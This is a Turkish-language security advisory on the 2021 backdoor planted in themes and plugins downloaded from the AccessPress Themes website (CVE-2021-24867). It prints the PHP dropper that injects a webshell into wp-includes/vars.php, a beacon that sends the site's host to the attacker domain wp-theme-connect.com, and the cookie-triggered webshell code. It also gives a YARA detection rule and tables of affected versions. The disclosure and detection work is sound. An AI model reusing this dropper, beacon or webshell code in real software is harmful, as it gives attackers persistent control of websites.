AccessPress Temalarından Temalarda ve Eklentilerde Arka Kapı Bulundu

Yayınlanan: 2022-01-19

1 Şubat Güncellemesi – “Etkilenen temalar” bölümü, temaların yeni sürümlerinin görünmeye başladığını yansıtacak şekilde değiştirildi.

Güvenliği ihlal edilmiş bir siteyi araştırırken, çok sayıda popüler tema ve eklentiye sahip bir satıcı olan AccessPress Themes (aka Access Keys) tarafından sağlanan bir temada bazı şüpheli kodlar keşfettik. Daha fazla araştırma yaptığımızda, satıcının tüm temalarının ve eklentilerinin çoğunun bu şüpheli kodu içerdiğini, ancak bunun yalnızca kendi web sitelerinden indirildiğini gördük. Aynı uzantılar, doğrudan WordPress.org dizininden indirildiyse veya yüklendiyse iyiydi.

Uzantıların ele geçirilme biçimi nedeniyle, harici bir saldırganın, uzantılarını başka sitelere bulaştırmak için kullanmak amacıyla AccessPress Themes web sitesini ihlal ettiğinden şüphelendik.

Satıcıyla hemen iletişime geçtik, ancak ilk başta bir yanıt alamadık. WordPress.org eklenti ekibine ilettikten sonra şüphelerimiz doğrulandı. AccessPress Temaları web siteleri 2021 Eylül'ünün ilk yarısında ihlal edildi ve sitelerinde indirilebilecek uzantılara bir arka kapı eklendi.

Satıcıyla iletişim kurmak için bir kanal oluşturduğumuzda, ayrıntılı bulgularımızı onlarla paylaştık. Rahatsız edici uzantıları hemen web sitelerinden kaldırdılar.

Eklentilerin çoğu o zamandan beri güncellendi ve bilinen temiz sürümler bu yazının alt kısmında listeleniyor. Ancak, etkilenen temalar güncellenmedi ve WordPress.org tema deposundan alındı. Sitenizde bu yazının altında listelenen temalardan herhangi biri yüklüyse, en kısa zamanda yeni bir temaya geçmenizi öneririz.

Bu açıklama, hem eklentiler hem de temalar olmak üzere çok sayıda uzantıyla ilgilidir. Aşağıdaki listeye geçin veya ayrıntılar için okumaya devam edin.

Detaylar:

Satıcı: AccessPress Temaları
Satıcı url'si: https://accesspressthemes.com
Eklentiler: çoklu
Temalar: çoklu
CVE: CVE-2021-24867

Analiz:

Etkilenen uzantılar, saldırganlara virüslü sitelere tam erişim sağlayan bir web kabuğu için bir damlalık içeriyordu. Dropper, ana eklenti veya tema dizininde bulunan inital.php dosyasında bulunur. Çalıştırıldığında, wp-includes/vars.php çerez tabanlı bir web kabuğu yükler. Kabuk, wp_is_mobile_fix() adıyla wp_is_mobile_fix() wp_is_mobile() işlevinin hemen önüne bir işlev olarak kurulur. Bu muhtemelen vars.php dosyasında rastgele gezinen hiç kimsede şüphe uyandırmamak içindir.

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Kabuk yüklendikten sonra, dropper, hxxps://www.wp-theme-connect.com/images/wp-theme.jpg URL'sinden virüslü sitenin url'sini ve bununla ilgili bilgileri içeren bir uzak görüntü yükleyerek eve telefon eder. sorgu argümanları olarak hangi temayı kullanır. Son olarak, isteğin yürütülmesi bittiğinde algılamayı önlemek için damlalık kaynak dosyasını kaldıracaktır.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

İstekteki kullanıcı aracısı dizesi wp_is_mobile ise ve istek sekiz özel tanımlama bilgisi içeriyorsa, web kabuğunun kendisi tetiklenir. Bir araya gelir ve sağlanan bu çerezlerden bir yük yürütür.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Ayrıca, tema/eklenti'nin functions.php dosyasına doğrudan gömülü olan arka kapının muhtemelen daha eski bir başka çeşidini de gördük. Bu değişken, sekiz tanımlama bilgisinden gelen yükü bir araya getirmekle aynı mekanizmayı kullanır, ancak isteğin kullanıcı aracısı dizesini filtrelemez.

Dropper'ın çalıştırıldığından emin olmak için, ana eklenti dosyası (eklentiler için) veya functions.php dosyası (temalar için), varsa inital.php dosyasını yürütmek için kodla değiştirildi.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Güvenliği ihlal edilmiş eklentilerin zaman damgalarından çarpıcı bir ayrıntı, hepsinin Eylül ayının başından itibaren olmasıdır. Çoğunluğu 6 ve 7 Eylül'e ait, birkaç dosya 2 ve 3 Eylül'e ait. Benzer şekilde, temalar için, 9 Eylül'deki accessbuddy hariç, 22 Eylül'de tümü ele geçirildi.

Ayrıca, zip arşivlerindeki zaman damgaları, değiştirilmiş ana eklenti dosyası ve birkaç dakika sonra damgalanan (genellikle arşivdeki diğer dosyalar).

Ancak wordpress.org deposundan indirilen zip dosyalarının zaman damgalarına baktığımızda, eklentinin/temanın gerçekten güncellendiği zamana karşılık gelen bir zaman damgası dağılımı buluyoruz. Ayrıca arşiv içindeki zaman damgalarının dağılımı daha az tekdüzedir ve hangi dosyaların sürümde güncellendiğini ve hangilerinin daha eski bir sürümden değiştirilmediğini yansıtır.

Bu bize, AccessPress Themes'in web sitesindeki dosyaların kasıtlı olarak ve ilk yayınlandıktan sonra koordineli bir eylem olarak değiştirildiğini gösteriyor. Uzlaşma, biri eklentiler için diğeri temalar için olmak üzere iki aşamada gerçekleştirilmiş görünüyor. Her biri, muhtemelen sürece ince ayar yapmak için daha önce bazı girişimlerde bulundu.

Araştırmamız yalnızca AccessPress Themes'in web sitesinde ücretsiz olarak bulunan temalara ve eklentilere baktı. Ücretli pro temalarının benzer şekilde etkilendiğini varsayıyoruz, ancak bunları incelemedik. Bunlardan herhangi birine sahipseniz, daha fazla tavsiye için lütfen AccessPress Themes desteğiyle iletişime geçin.

Etkilenen temalar

Sitenizde yüklü olan Kötü sütununda sürüm numarası olan aşağıdaki temalardan herhangi birine sahipseniz, hemen Temiz sütunundaki sürüme yükseltmenizi öneririz. WordPress.org aracılığıyla yüklenen temaların Kötü sütununda listelenmiş olsalar bile temiz olduğunu belirtmekte fayda var. Güvenli tarafta olmak için yine de bilinen temiz sürüme yükseltmenizi öneririz.

Temiz sütununda sürüm numarası olmayan temalar henüz yükseltilmemiştir ve mümkünse başka bir temayla değiştirmenizi öneririz.

Tema bilgisi Kötü Temiz
erişim arkadaşı 1.0.0
accesspress-temel 3.2.1 3.2.2
accesspress-lite 2.92 2.93
erişim-mag 2.6.5 2.6.6
accesspress-paralaks 4.5 4.6
erişim-ray 1.19.5
erişim-kök 2.5 2.6.0
erişim-zımba 1.9.1
erişim mağazası 2.4.9 2.5.0
ajans-lite 1.1.6 1.1.7
aplit 1.0.6
bingle 1.0.4 1.0.5
blogcu 1.2.6 1.2.7
inşaat-lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
aydınlatmak 1.3.5 1.3.6
hızlı mağaza 1.2.1
fotoğraf 2.4.0 2.4.1
gaga-corp 1.0.8
gaga-lite 1.4.2
tek durak 2.2.8
paralaks-blog 3.1.1574941215
paralakslı 1.3.6 1.3.7
nokta 1.1.2 1.1.3
dönmek 1.3.1
dalgalanma 1.2.0 1.2.1
kaydırma 2.1.0
spor dergisi 1.2.1
depo villası 1.4.1 1.4.2
salıncak-lite 1.1.9 1.2.0
başlatıcı 1.3.2 1.3.3
pazartesi 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-haber 1.0.5 1.0.6
zikzak-bebek 1.0.6 1.0.7
zigcy-kozmetik 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tablo 1: Saldırı tarafından güvenliği ihlal edilen temalar ve sürümler.

Etkilenen eklentiler

Sitenizde Kötü sütununda sürüm numarası olan aşağıdaki eklentilerden herhangi birine sahipseniz, hemen Temiz sütunundaki sürüme yükseltmenizi öneririz. WordPress.org aracılığıyla yüklenen eklentilerin Kötü sütununda listelenmiş olsalar bile temiz olduklarını belirtmekte fayda var. Güvenli tarafta olmak için yine de bilinen temiz sürüme yükseltmenizi öneririz.

Temiz sütununda sürüm numarası olmayan eklentiler henüz yükseltilmemiştir ve mümkünse diğer eklentilerle değiştirmenizi öneririz.

Eklenti sümüklü böcek Kötü Temiz Not
accesspress-anonim-yazısı 2.8.0 2.8.1 1
accesspress-özel-css 2.0.1 2.0.2
accesspress-özel-yazı tipi 1.0.8 1.0.9
accesspress-facebook-otomatik gönderi 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-sosyal-sayaç 1.9.1 1.9.2
accesspress-sosyal-simgeler 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-sosyal paylaşım 4.5.5 4.5.6
accesspress-twitter-otomatik gönderi 1.4.5 1.4.6
erişim-twitter-besleme 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
ap-yol arkadaşı 1.0.7 2
ap-iletişim-formu 1.0.6 1.0.7
ap-özel-referans 1.4.6 1.4.7
ap-mega-menü 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
apex-bildirim-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
yorumlar-devre dışı-erişim basın 1.0.7 1.0.8
kolay yan sekme-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-es-soon-lite 1.1.0 1.1.1
everest-yorum-rating-lite 2.0.4 2.0.5
everest-counter-lite 2.0.7 2.0.8
everest-ss-manager-lite 1.0.8 1.0.9
everest-galeri-lite 1.0.8 1.0.9
everest-google-places-inceleme-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
satır içi harekete geçirici mesaj oluşturucu-lite 1.1.0 1.1.1
woocommerce-lite için ürün kaydırıcısı 1.1.5 1.1.6
akıllı-logo-vitrin-lite 1.1.7 1.1.8
akıllı kaydırma yazıları 2.0.8 2.0.9
akıllı kaydırmadan en üste kadar hafif 1.0.3 1.0.4
total-gdpr-uyumluluk-lite 1.0.4
total-team-lite 1.1.1 1.1.2
nihai-yazar-kutusu-lite 1.1.2 1.1.3
Ultimate-form-builder-lite 1.5.0 1.5.1
woo-rozet-tasarımcı-lite 1.1.0 1.1.1
wp-1-kaydırıcı 1.2.9 1.3.0
wp-blog-yöneticisi-lite 1.1.0 1.1.2
wp-yorum-tasarımcı-lite 2.0.3 2.0.4
wp-çerez-kullanıcı bilgisi 1.0.7 1.0.8
wp-facebook-inceleme-vitrin-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-kayan-menü 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-pop-up-afişleri 1.2.3 1.2.4
wp-pop-up-lite 1.0.8
wp-ürün-galeri-lite 1.1.1
Tablo 2: Eklentiler, saldırı tarafından ele geçirilen sürümler ve bilinen temiz sürümler,

Notlar:

  1. Bu eklenti güncellenmedi, ancak AccessPress Themes web sitesindeki sürüm eski bir sürüm olduğundan temiz olduğuna inanılıyor.
  2. Bu eklenti güncellenmedi, ancak orijinal olarak AccessPress Themes web sitesinde bulunmadığından temiz olduğuna inanılıyor.

IOC'ler

Aşağıdaki YARA kuralı, siteye virüs bulaşıp bulaşmadığını kontrol etmek için kullanılabilir. Hem enfeksiyonun damlalık kısmını hem de kurulu web kabuğunu algılar.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Öneriler

Doğrudan AccessPress Themes'ten veya WordPress.org dışında başka bir yerden yüklenmiş temalarınız veya eklentileriniz varsa, yukarıdaki tablolarda belirtildiği gibi hemen güvenli bir sürüme yükseltme yapmalısınız. Güvenli bir sürüm yoksa, onu WordPress.org'daki en son sürümle değiştirin.

Lütfen bunun arka kapıyı sisteminizden kaldırmadığını unutmayın, bu nedenle arka kapının kurulumu sırasında yapılan çekirdek dosya değişikliklerini geri almak için ek olarak temiz bir WordPress sürümünü yeniden yüklemeniz gerekir.

AccessPress Themes/Access Keys'den ücretli bir temanız veya eklentiniz varsa, yardım için destekleriyle iletişime geçmenizi öneririz.

Siteniz için kötü amaçlı dosya tarama ve yedekleme içeren bir güvenlik planınızın olmasını önemle tavsiye ederiz. Jetpack Security, sitenizin ve ziyaretçilerinizin güvende olmasını sağlamak için harika bir WordPress güvenlik seçeneğidir. Jetpack Scan, 30 Eylül'den bu yana bu arka kapının ve damlalığın tüm çeşitlerini tespit etti.

Zaman çizelgesi

2021-09-22: Jetpack Scan ekibi, FotoGraphy temasındaki damlalığı ve arka kapıyı keşfeder ve ilk bulgu hakkında satıcıyla iletişim kurmaya çalışır.

2021-09-27: Satıcının web sitesinden indirilen tüm mevcut ücretsiz eklentilerde ve temalarda dropper + arka kapının varlığını onaylayın.

2021-09-28: wordpress.org'dan yapılan indirmelerde damlalık + arka kapının bulunmadığını doğrulayın

2021-09-29: Yeni bulgularla ilgili güncellemelerle tekrar satıcıyla iletişim kurmaya çalışılıyor.

2021-10-14: Satıcıyla iletişim kurmaya çalışmak için WordPress eklentileri ekibine iletildi.

2021-10-15: Güvenliği ihlal edilmiş uzantılar, satıcının sitesinden kaldırılır.

2021-10-16: Satıcıdan yanıt

2022-01-17: Çoğu eklenti yeni sürümlere yükseltildi, temalar WordPress.org'dan alındı.

2022-01-18 Kamuyu aydınlatma